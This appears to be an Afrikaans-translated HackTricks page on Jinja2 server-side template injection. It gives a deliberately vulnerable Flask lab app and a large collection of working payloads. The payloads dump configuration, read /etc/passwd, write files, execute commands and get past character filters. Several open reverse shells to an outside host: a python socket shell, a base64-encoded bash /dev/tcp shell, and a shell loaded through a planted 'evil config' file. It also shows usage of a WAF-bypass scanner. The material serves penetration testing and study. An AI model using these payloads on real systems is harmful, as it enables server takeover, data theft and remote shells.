# Jinja2 SSTI {{#include ../../banners/hacktricks-training.md}} ## **Laboratorium** ```python from flask import Flask, request, render_template_string app = Flask(__name__) @app.route("/") def home(): if request.args.get('c'): return render_template_string(request.args.get('c')) else: return "Hello, send someting inside the param 'c'!" if __name__ == "__main__": app.run() ``` ## **Verskeie** ### **Foutopsporing Stelling** As die Foutopsporing Uitbreiding geaktiveer is, sal 'n `debug` etiket beskikbaar wees om die huidige konteks sowel as die beskikbare filters en toetse te dump. Dit is nuttig om te sien wat beskikbaar is om in die sjabloon te gebruik sonder om 'n foutopsporingstelsel op te stel. ```python

{% raw %}
{% debug %}
{% endraw %}








``` ### **Dump alle konfigurasie veranderlikes** ```python {{ config }} #In these object you can find all the configured env variables {% raw %} {% for key, value in config.items() %}
{{ key|e }}
{{ value|e }}
{% endfor %} {% endraw %} ``` ## **Jinja Injection** Eerstens, in 'n Jinja-inspuiting moet jy **'n manier vind om uit die sandbox te ontsnap** en toegang te herstel tot die gewone python uitvoeringsvloei. Om dit te doen, moet jy **objekte misbruik** wat **van** die **nie-sandboxed omgewing is, maar vanaf die sandbox toeganklik is**. ### Toegang tot Globale Objekte Byvoorbeeld, in die kode `render_template("hello.html", username=username, email=email)` kom die objekte username en email **van die nie-sandboxed python omgewing** en sal **toeganklik** wees binne die **sandboxed omgewing.**\ Boonop is daar ander objekte wat **altyd toeganklik sal wees vanaf die sandboxed omgewing**, hierdie is: ``` [] '' () dict config request ``` ### Herwinning \ Dan, van hierdie objekten moet ons by die klas kom: **``** om te probeer om **herwin** gedefinieerde **klas**. Dit is omdat ons van hierdie objek kan die **`__subclasses__`** metode aanroep en **toegang kry tot al die klasse van die nie-sandboxed** python omgewing. Om toegang te kry tot daardie **objek klas**, moet jy **toegang kry tot 'n klas objek** en dan toegang kry tot of **`__base__`**, **`__mro__()[-1]`** of `.`**`mro()[-1]`**. En dan, **na** die bereik van hierdie **objek klas** roep ons **`__subclasses__()`** aan. Kyk na hierdie voorbeelde: ```python # To access a class object [].__class__ ''.__class__ ()["__class__"] # You can also access attributes like this request["__class__"] config.__class__ dict #It's already a class # From a class to access the class "object". ## "dict" used as example from the previous list: dict.__base__ dict["__base__"] dict.mro()[-1] dict.__mro__[-1] (dict|attr("__mro__"))[-1] (dict|attr("\x5f\x5fmro\x5f\x5f"))[-1] # From the "object" class call __subclasses__() {{ dict.__base__.__subclasses__() }} {{ dict.mro()[-1].__subclasses__() }} {{ (dict.mro()[-1]|attr("\x5f\x5fsubclasses\x5f\x5f"))() }} {% raw %} {% with a = dict.mro()[-1].__subclasses__() %} {{ a }} {% endwith %} # Other examples using these ways {{ ().__class__.__base__.__subclasses__() }} {{ [].__class__.__mro__[-1].__subclasses__() }} {{ ((""|attr("__class__")|attr("__mro__"))[-1]|attr("__subclasses__"))() }} {{ request.__class__.mro()[-1].__subclasses__() }} {% with a = config.__class__.mro()[-1].__subclasses__() %} {{ a }} {% endwith %} {% endraw %} # Not sure if this will work, but I saw it somewhere {{ [].class.base.subclasses() }} {{ ''.class.mro()[1].subclasses() }} ``` ### RCE Ontsnapping **Nadat ons herstel het** `` en `__subclasses__` aangeroep het, kan ons nou daardie klasse gebruik om lêers te lees en te skryf en kode uit te voer. Die oproep na `__subclasses__` het ons die geleentheid gegee om **honderde nuwe funksies** te **verkry**, ons sal gelukkig wees net deur toegang te verkry tot die **lêer klas** om **lêers te lees/schryf** of enige klas met toegang tot 'n klas wat **opdragte toelaat om uitgevoer te word** (soos `os`). **Lees/Skryf afstandslêer** ```python # ''.__class__.__mro__[1].__subclasses__()[40] = File class {{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }} {{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }} ``` **RCE** ```python # The class 396 is the class {{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}} # Without '{{' and '}}'
a
# Calling os.popen without guessing the index of the class {% raw %} {% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %} {% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %} ## Passing the cmd line in a GET param {% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%} {% endraw %} ## Passing the cmd line ?cmd=id, Without " and ' {{ dict.mro()[-1].__subclasses__()[276](request.args.cmd,shell=True,stdout=-1).communicate()[0].strip() }} ``` Om meer te leer oor **meer klasse** wat jy kan gebruik om te **ontsnap**, kan jy **kyk**: {{#ref}} ../../generic-methodologies-and-resources/python/bypass-python-sandboxes/ {{#endref}} ### Filter omseilings #### Algemene omseilings Hierdie omseilings sal ons toelaat om die **kenmerke** van die objekte **sonder om sekere karakters te gebruik**.\ Ons het reeds van hierdie omseilings in die voorbeelde van die vorige gesien, maar laat ons dit hier opsom: ```bash # Without quotes, _, [, ] ## Basic ones request.__class__ request["__class__"] request['\x5f\x5fclass\x5f\x5f'] request|attr("__class__") request|attr(["_"*2, "class", "_"*2]|join) # Join trick ## Using request object options request|attr(request.headers.c) #Send a header like "c: __class__" (any trick using get params can be used with headers also) request|attr(request.args.c) #Send a param like "?c=__class__ request|attr(request.query_string[2:16].decode() #Send a param like "?c=__class__ request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join) # Join list to string http://localhost:5000/?c={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_ #Formatting the string from get params ## Lists without "[" and "]" http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_ # Using with {% raw %} {% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %} {% endraw %} ``` - [**Keer hier terug vir meer opsies om toegang te verkry tot 'n globale objek**](jinja2-ssti.md#accessing-global-objects) - [**Keer hier terug vir meer opsies om toegang te verkry tot die objek klas**](jinja2-ssti.md#recovering-less-than-class-object-greater-than) - [**Lees dit om RCE te kry sonder die objek klas**](jinja2-ssti.md#jinja-injection-without-less-than-class-object-greater-than) **Vermy HTML-kodering** Standaard HTML kodifiseer Flask alles binne 'n sjabloon vir sekuriteitsredes: ```python {{''}} #will be <script>alert(1);</script> ``` **Die `safe`** filter laat ons toe om JavaScript en HTML in die bladsy in te voeg **sonder** dat dit **HTML gekodeer** word, soos hierdie: ```python {{''|safe}} #will be ``` **RCE deur 'n bose konfigurasie lêer te skryf.** ```python # evil config {{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }} # load the evil config {{ config.from_pyfile('/tmp/evilconfig.cfg') }} # connect to evil host {{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }} ``` ## Sonder verskeie karakters Sonder **`{{`** **`.`** **`[`** **`]`** **`}}`** **`_`** ```python {% raw %} {%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls${IFS}-l')|attr('read')()%}{%print(a)%}{%endwith%} {% endraw %} ``` ## Jinja-inspuiting sonder **\** Van die [**globale objekte**](jinja2-ssti.md#accessing-global-objects) is daar 'n ander manier om **RCE te verkry sonder om daardie klas te gebruik.**\ As jy daarin slaag om by enige **funksie** van daardie globale objekte te kom, sal jy toegang hê tot **`__globals__.__builtins__`** en van daar af is die **RCE** baie **eenvoudig**. Jy kan **funksies** van die objekke **`request`**, **`config`** en enige **ander** interessante **globale objek** waartoe jy toegang het, vind met: ```bash {{ request.__class__.__dict__ }} - application - _load_form_data - on_json_loading_failed {{ config.__class__.__dict__ }} - __init__ - from_envvar - from_pyfile - from_object - from_file - from_json - from_mapping - get_namespace - __repr__ # You can iterate through children objects to find more ``` Sodra jy 'n paar funksies gevind het, kan jy die ingeboude funksies herstel met: ```python # Read file {{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }} # RCE {{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read() }} {{ config.__class__.from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }} {{ (config|attr("__class__")).from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }} {% raw %} {% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]() %} {{ a }} {% endwith %} {% endraw %} ## Extra ## The global from config have a access to a function called import_string ## with this function you don't need to access the builtins {{ config.__class__.from_envvar.__globals__.import_string("os").popen("ls").read() }} # All the bypasses seen in the previous sections are also valid ``` ### Fuzzing WAF omseiling **Fenjing** [https://github.com/Marven11/Fenjing](https://github.com/Marven11/Fenjing) is 'n hulpmiddel wat gespesialiseer is in CTFs, maar kan ook nuttig wees om ongeldige parameters in 'n werklike scenario te bruteforce. Die hulpmiddel spuit net woorde en navrae om filters te detecteer, op soek na omseilings, en bied ook 'n interaktiewe konsole. ``` webui: As the name suggests, web UI Default port 11451 scan: scan the entire website Extract all forms from the website based on the form element and attack them After the scan is successful, a simulated terminal will be provided or the given command will be executed. Example:python -m fenjing scan --url 'http://xxx/' crack: Attack a specific form You need to specify the form's url, action (GET or POST) and all fields (such as 'name') After a successful attack, a simulated terminal will also be provided or a given command will be executed. Example:python -m fenjing crack --url 'http://xxx/' --method GET --inputs name crack-path: attack a specific path Attack http://xxx.xxx/hello/the vulnerabilities that exist in a certain path (such as The parameters are roughly the same as crack, but you only need to provide the corresponding path Example:python -m fenjing crack-path --url 'http://xxx/hello/' crack-request: Read a request file for attack Read the request in the file, PAYLOADreplace it with the actual payload and submit it The request will be urlencoded by default according to the HTTP format, which can be --urlencode-payload 0turned off. ``` ## Verwysings - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2) - Kyk [attr trick om geblacklisted karakters hier te omseil](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/index.html#python3). - [https://twitter.com/SecGus/status/1198976764351066113](https://twitter.com/SecGus/status/1198976764351066113) - [https://hackmd.io/@Chivato/HyWsJ31dI](https://hackmd.io/@Chivato/HyWsJ31dI) {{#include ../../banners/hacktricks-training.md}}